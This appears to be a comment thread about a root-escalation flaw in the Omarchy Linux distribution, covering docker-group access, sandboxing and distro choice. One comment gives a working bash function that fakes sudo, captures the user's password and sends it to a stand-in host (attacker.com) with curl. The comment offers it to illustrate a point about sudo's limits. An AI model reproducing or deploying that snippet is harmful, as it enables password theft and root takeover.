Omarchy: Any User Process Can Escalate to Root

comments (10)

• A few days ago someone found they were flowing USB descriptors straight into the shell.

  https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8...

  Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

  concinds 1d ago

• I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does.

  (example: NetworkChuck, Primeagen? and a few others)

  also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it

  [1] - https://wiki.archlinux.org/title/Archinstall

  thehamkercat 1d ago

• Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn't). For instance it can just drop a custom shell into ~/.bin/.hidden-shell and reconfigure the terminal emulator to run it.

  So this kind of "vulnerability" doesn't seem that important. If you run code as yourself on Linux it owns you.

  On macOS it's very different. Pervasive code signing gives all apps a stable identity enforced by the kernel that they can't easily escape. The kernel can then impose sandboxing policies on any app that's run regardless of how it's installed, for instance, preventing apps from rummaging through ~/Documents or monitoring your screen. Permissions are editable and guaranteed to stick, including across upgrades. And root is disempowered so obtaining it barely matters, it's only really there for UNIX compatibility.

  Unfortunately implementing an Apple style architecture on Linux would be very difficult.

  mike_hearn 1d ago

• To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.

  Malware just need to put this in ~/.bashrc and wait:

  function sudo () {

      realsudo=$(which sudo)
  
      read -r -s -p "[sudo] password for $USER: " password
  
      echo "$USER: $password" | \
  
          curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
  
  
      $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1
  
      $realsudo "${@:1}"
  
  }

  lrvick 1d ago

• It’s not great, but I’m not sure this should be framed as Omarchy-specific, when it’s a very common setup to add regular user to the docker group.

  exitb 1d ago

• Why not use rootless podman? It is 2026 not 2016, Podman works much better than Docker today.

  darkwi11ow 1d ago

• The Docker configuration issue was reported and changes were made quickly to address it. Sounds like this is a great example of the system working well.

  Omarchy looks like a simple way for a developer like me to test drive hyprland and write code. It also looks like a great way for my kids to get into computers as there's an agent harness ready to help them manage their machine and use free software, even the stuff that's a bit obtuse.

  I'm bewildered that people are mad about any of this, but then I remember I don't care what the gatekeepers think anymore.

  trentnix 1d ago

• No one serious about security touches Omarchy.

  Practically every distro suffers from critical LPEs, but at least there’s a bar.

  Omarchy is a hot mess that exists for the same reason that matcha is in our coffeeshops and peptides are in our collective memory.

  hashstring 1d ago

• Ubuntu is good enough. I never got the point of tiling window managers, because the most important part of daily computing, browsing the web requires you to use the mouse. I’ve tried keyboard only browsers, none of them are as intuitive as just using a mouse and they can’t be, especially considering the prevalence of hyperlinks.

  I guess while coding it is nice, but I can switch between the terminal and my editor in a single key in Ubuntu itself so I don’t see the point of this.

  sashank_1509 1d ago

• Wow... this is really telling. This isn't some obscure whoopsie. The docker install page has a giant section explaining exactly this problem. Every Docker section on every distro wiki walks through this issue in detail. It 80% the reason Podman was created in the first place.

  pkulak 1d ago